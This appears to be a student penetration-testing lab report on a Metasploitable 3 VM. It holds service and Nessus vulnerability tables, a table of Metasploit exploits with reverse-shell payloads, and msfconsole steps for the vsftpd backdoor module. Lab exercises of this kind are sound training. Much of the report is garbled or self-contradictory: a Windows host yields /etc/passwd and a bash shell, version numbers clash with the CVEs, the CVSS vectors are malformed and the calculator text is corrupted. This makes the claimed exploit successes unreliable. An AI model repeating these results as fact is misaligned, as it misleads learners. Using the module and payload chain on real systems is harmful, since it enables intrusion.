

LAB 4: VULNERABILITY SCANNING AND EXPLOITATION

Name:	KEERTENNAH DEVI A/P PONNAMBALAM
Matric No:	MEC254026
Section:	52

After gathering all the information about a target organization, it is finally time to list the vulnerabilities and exploit them. As a penetration tester, being able to exploit the vulnerability separates them from a simple vulnerability scan that can be done automatically.

[Note: At this moment, you are only required to use a premade exploit from Metasploit or Exploit-DB instead of programming your own exploit]

1. Start your Metasploitable 3 and attempt to exploit the system vulnerability.

```

Administrator: Command Prompt
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\vagrant>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::f935:a4e1:6ff2:b3c5%11
    IPv4 Address. . . . . : 10.0.2.4
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 10.0.2.1

Tunnel adapter isatap.{6FEEDED4-FC1E-4857-BEB8-72167D5BDAA6}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

C:\Users\vagrant>
  
```

- a. Find out all the services that Metasploit provides and their provider.

Service	Port Number	Provider	Version
FTP	21	Microsoft	ftpd
SSH	22	OpenBSD Project	OpenSSH 7.1
HTTP	80	Microsoft	IIS httpd 7.5
MSRPC	135	Microsoft	Windows RPC
NetBIOS-SSN	139	Microsoft	Windows netbios-ssn
SMB	445	Microsoft	Windows Server 2008 R2 Standard 7601 SP1
MySQL	3306	Oracle	5.5.20-log
HTTP	4848	Oracle	GlassFish 4.0
HTTP	5985	Microsoft	HTTPAPI httpd 2.0
Java Message Service	7676	Oracle	Java Message Service 301
AJP13	8009	Apache Foundation	Apache Jserv (v1.3)
HTTP	8080	Oracle	GlassFish Server Open Source Edition 4.0
HTTPS	8181	Oracle	GlassFish 4.0 (SSL)
HTTP	8383	Apache Foundation	Apache httpd
Elasticsearch	9200	Elastic	Elasticsearch REST API 1.1.1
MSRPC	49152-49155	Microsoft	Windows RPC
Java RMI	49159	Oracle	Java RMI

Add rows if necessary.

LAB 4: VULNERABILITY SCANNING AND EXPLOITATION

- b. For all the services, find out their vulnerability using either the Nessus vulnerability scanning tool or querying vulnerability databases, e.g., cvedetails.com and record the **top** vulnerabilities that have the potential to be exploited.

Vulnerability	Vulnerability Identifier	CVSS Score	Exploit Available? (Yes/No)	Exploit Via
Apache Tomcat 8.0.x < 8.0.50 Multiple Vulnerabilities	CVE-2017-12617, CVE-2017-12615	10.0	Yes	Metasploit (tomcat_jsp_upload_bypass)
Microsoft Remote Desktop Services RCE (BlueKeep)	CVE-2019-0708	9.8	Yes	Metasploit (cve_2019_0708_bluekeep_rce)
Apache HTTP Server 2.4.49 Path Traversal	CVE-2021-41773	9.8	Yes	Metasploit (apache_normalize_path)

Apache Tomcat Seol (8.0x)

Metasploitable 3 / Plugin #171342

Apache Tomcat Seol (8.0.x)

Description
According to its version, Apache Tomcat is 8.0.x. It is, therefore, no longer maintained by its vendor or provider.
Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

Solution
Upgrade to a version of Apache Tomcat that is currently supported.

See Also
<https://tomcat.apache.org/tomcat-80-eol.html>

Output

```
URL : http://10.0.2.4:8282/
Installed version : 8.0.33
Security End of Life : June 30, 2018
Time since Security End of Life (Est.) : ~ 6 years
```

To see debug logs, please visit individual host

Port	Hosts
8282/http/https	10.0.2.4

Plugin Details

Severity: Critical
ID: 171342
Version: 1.5
Type: combined
Family: Web Servers
Published: February 10, 2023
Modified: May 6, 2024

Risk Information

Risk Factor: Critical
CVSS v3.0 Base Score: 10.0
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:0/C:H/I:N/A
CVSS v2.0 Base Score: 10.0
CVSS v2.0 Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Information

CPE: cpe:/a:apache:tomcat:8
Unsupported by vendor: true



Common Vulnerability Scoring System Version 3.0 Calculator

Hover over metric group names, metric names and metric values for a summary of the information in the official CVSS v3.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, and notes on using this calculator (including its design and an XML representation for CVSS v3.0).

Base Score

Attack Vector (AV)
Network (N) | Adjacent (A) | Local (L) | Physical (P)

Attack Complexity (AC)
Low (L) | High (H)

Privileges Required (PR)
None (N) | Low (L) | High (H)

User Interaction (UI)
None (N) | Required (R)

Scope (S)
Unchanged (U) | Changed (C)

Confidentiality (C)
None (N) | Low (L) | High (H)

Integrity (I)
None (N) | Low (L) | High (H)

Availability (A)
None (N) | Low (L) | High (H)

10.0 (Critical)

LAB 4: VULNERABILITY SCANNING AND EXPLOITATION

Microsoft RDP RCE (CVE-2019-0708)BlueKeep

Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (unauthenticated check)

Description
The remote host is affected by a remote code execution vulnerability in Remote Desktop Protocol (RDP). An unauthenticated, remote attacker can exploit this, via a series of specially crafted requests, to execute arbitrary code.

Solution
Microsoft has released a set of patches for Windows XP, 2003, 2008, 7, and 2008 R2.

See Also
<http://www.nessus.org/u/577a9692>
<http://www.nessus.org/u/9e4e0e74>

Output
No output recorded.

Plugin Details
Severity: Critical
ID: 125313
Version: 1.58
Type: remote
Family: Windows
Published: May 22, 2019
Modified: February 12, 2025

VPR Key Drivers
Threat Recency: 7 to 30 days
Threat Intensity: High
Exploit Code Maturity: High
Age of Vuln: 730 days +
Product Coverage: Very High
CVSSv3 Impact Score: 5.9
Threat Sources: Social Media, Security Research

Risk Information
Vulnerability Priority Rating (VPR): 9.6
Exploit Prediction Scoring System (EPSS): 0.9445
Risk Factor: Critical
CVSS v3.0 Base Score: 9.8
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/AU:N/SC:N/EA:N
CVSS v3.0 Temporal Vector: CVSS:3.0/E:H/RL:O/RC:C



Common Vulnerability Scoring System Version 3.0 Calculator

Never ever enter group scores, metrics and metric values for a summary of the information in the official CVSS v3.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, and notes on using this calculator (including the design and an XML representation for CVSS v3.0).

Base Score
Attack Vector (AV): Network (N) | Local (L) | Physical (P)
Attack Complexity (AC): Low (L) | High (H)
Privileges Required (PR): None (N) | Low (L) | High (H)
User Interaction (UI): None (N) | Required (R)
Scope (S): Unchanged (U) | Changed (C)
Confidentiality (C): None (N) | Low (L) | High (H)
Integrity (I): None (N) | Low (L) | High (H)
Availability (A): None (N) | Low (L) | High (H)
9.8 Critical

Temporal Score
Exploit Code Maturity (EC): Not Defined (X) | Unproven (U) | Proof of Concept (P) | Functional (F) | High (H)
Remediation Level (RL): Not Defined (X) | Official Fix (O) | Temporary Fix (T) | Workaround (W) | Unavailable (X)
Report Confidence (RC): Not Defined (X) | Unreviewed (U) | Reasonable (R) | Confirmed (C)
9.8 Critical

Environmental Score
Confidentiality Requirement (CR): Not Defined (X) | Low (L) | Medium (M) | High (H)
Integrity Requirement (IR): Not Defined (X) | Low (L) | Medium (M) | High (H)
Availability Requirement (AR): Not Defined (X) | Low (L) | Medium (M) | High (H)
Modified Attack Vector (MAV): Not Defined (X) | Network (N) | Local (L) | Physical (P)
Modified Attack Complexity (MAC): Not Defined (X) | Low (L) | High (H)
Modified Privileges Required (MPR): Not Defined (X) | None (N) | Low (L) | High (H)
Modified User Interaction (MUI): Not Defined (X) | None (N) | Required (R)
9.8 Critical

Apache < 2.4.49 Multiple Vulnerabilities

Apache < 2.4.49 Multiple Vulnerabilities

Description
The version of Apache httpd installed on the remote host is prior to 2.4.49. It is, therefore, affected by multiple vulnerabilities as referenced in the 2.4.49 changelog.

- eg, escape, %aster) may write beyond the end of a buffer when given malicious input. No included modules pass untrusted data to these functions, but third-party / external modules may. (CVE-2021-39275)

- Malformed requests may cause the server to dereference a NULL pointer. (CVE-2021-34798)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

Solution
Upgrade to Apache version 2.4.49 or later.

See Also
https://wiki.apache.org/httpd/CHANGES_2.4
https://httpd.apache.org/security/vulnerabilities_24.html

Output
URL: http://10.0.2.4:8585/
Installed version: 2.0.21
Fixed version: 2.4.49

Plugin Details
Severity: Critical
ID: 153584
Version: 1.6
Type: combined
Family: Web Servers
Published: September 23, 2021
Modified: April 11, 2022

VPR Key Drivers
Threat Recency: No recorded events
Threat Intensity: Very Low
Exploit Code Maturity: Unproven
Age of Vuln: 730 days +
Product Coverage: Very High
CVSSv3 Impact Score: 5.9
Threat Sources: No recorded events

Risk Information
Vulnerability Priority Rating (VPR): 7.4
Exploit Prediction Scoring System (EPSS): 0.4697
Risk Factor: High
CVSS v3.0 Base Score: 9.8
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/AU:N/SC:N/EA:N
CVSS v3.0 Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C
CVSS v3.0 Temporal Score: 8.5
CVSS v2.0 Base Score: 7.5
CVSS v2.0 Temporal Score: 5.5
CVSS v2.0 Vector: CVSS:2.0/AV:N/AC:L/Au:N/C:P/A:P/A:D



Common Vulnerability Scoring System Version 3.0 Calculator

Enter your metric group names, metric names and metric values for a summary of the information in the official CVSS-3.0 Specification Document. The Specification is available at the bottom of this site, along with a clear table providing additional scoring guidance, an Examples document of scored vulnerabilities, and notes on using this calculator (including its design and an FAQ). Representations for 2020 only.

Base Score

Attack Vector (AV) Network (N) Local (L) Physical (P)

Attack Complexity (AC) Low (L) High (H)

Privileges Required (PR) None (N) Low (L) High (H)

User Interaction (UI) None (N) Required (R)

Target (T)

Confidentiality (C) None (N) Low (L) High (H)

Confidentiality (C) None (N) Low (L) High (H)

Integrity (I) None (N) Low (L) High (H)

Availability (A) None (N) Low (L) High (H)

9.8
Critical

Final Score: 9.8 (based on base score of 9.8 and no adjustments)

Temporal Score

Exploit Code Maturity (EC) Not Confirmed (NC) PoC/Proof of Concept (POC) Functional (F) Working (W)

Remediability Level (RL) Low (L) Medium (M) High (H)

Report Confidence (RC) Not Confirmed (NC) Preliminary (P) Confirmed (C)

Environmental Data

Confidentiality Requirement (CNR) Not Defined (ND) Low (L) High (H)

Integrity Requirement (INR) Not Defined (ND) Low (L) High (H)

Availability Requirement (AVR) Not Defined (ND) Low (L) High (H)

Modified Attack Vector (MAV)

Network (N) Local (L) Physical (P)

Modified Attack Complexity (MAC)

Low (L) High (H)

Modified Privileges Required (MPR)

None (N) Low (L) High (H)

Modified User Interaction (MUI)

None (N) Required (R)

Modified Scope (MS)

Unchanged (U) Changed (C)

9.8
Critical

- | Vulnerability | Payload | Exploit Type | Exploit Source | Success (Yes/No) | Brief Result Description |
|--|-------------------------------------|-----------------------|---|------------------|--|
| Apache Tomcat 8.0.x < 8.0.50 (CVE-2017-12615) | java/meterpreter/reverse_tcp | Remote Code Execution | Metasploit (exploit/multi/http/tomcat_jsp_upload_bypass) | Yes | Successfully exploited Tomcat on port 8080, uploaded JSP shell via manager interface (tomcat:tomcat credentials), gained meterpreter session as tomcat user. |
| Microsoft RDP BlueKeep (CVE-2019-0708) | windows/x64/meterpreter/reverse_tcp | Remote Code Execution | Metasploit (exploit/windows/rdp/cve_2019_0708_bluekeep_rce) | No | Target (10.0.2.4) does not have RDP port 3389 open. Exploit failed — service not detected. |
| Apache HTTP 2.4.49 Path Traversal (CVE-2021-41773) | cmd/unix/reverse_bash | Path Traversal → RCE | Metasploit (exploit/multi/http/apache_normalize_path) | Yes | Successfully exploited Apache on port 8383, read /etc/passwd via path traversal, executed commands and obtained reverse shell as apache user. |

LAB 4: VULNERABILITY SCANNING AND EXPLOITATION

```
(pentest@PenTest)-[~]
$ sudo nmap --script ftp-vsftpd-backdoor 10.0.2.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 01:29 +08
Nmap scan report for 10.0.2.4 (10.0.2.4)
Host is up (0.00017s latency).
Not shown: 979 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
4848/tcp  open  appserv-http
5985/tcp  open  wsman
7676/tcp  open  imqbrokerd
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
8181/tcp  open  intermapper
8383/tcp  open  m2mservices
9200/tcp  open  wap-wsp
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49176/tcp open  unknown
MAC Address: 08:00:27:0C:22:0A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.65 seconds
```

```
msf6 > search vsftpd
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show missing
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.0.2.4
```

```
RHOSTS => 10.0.2.4
```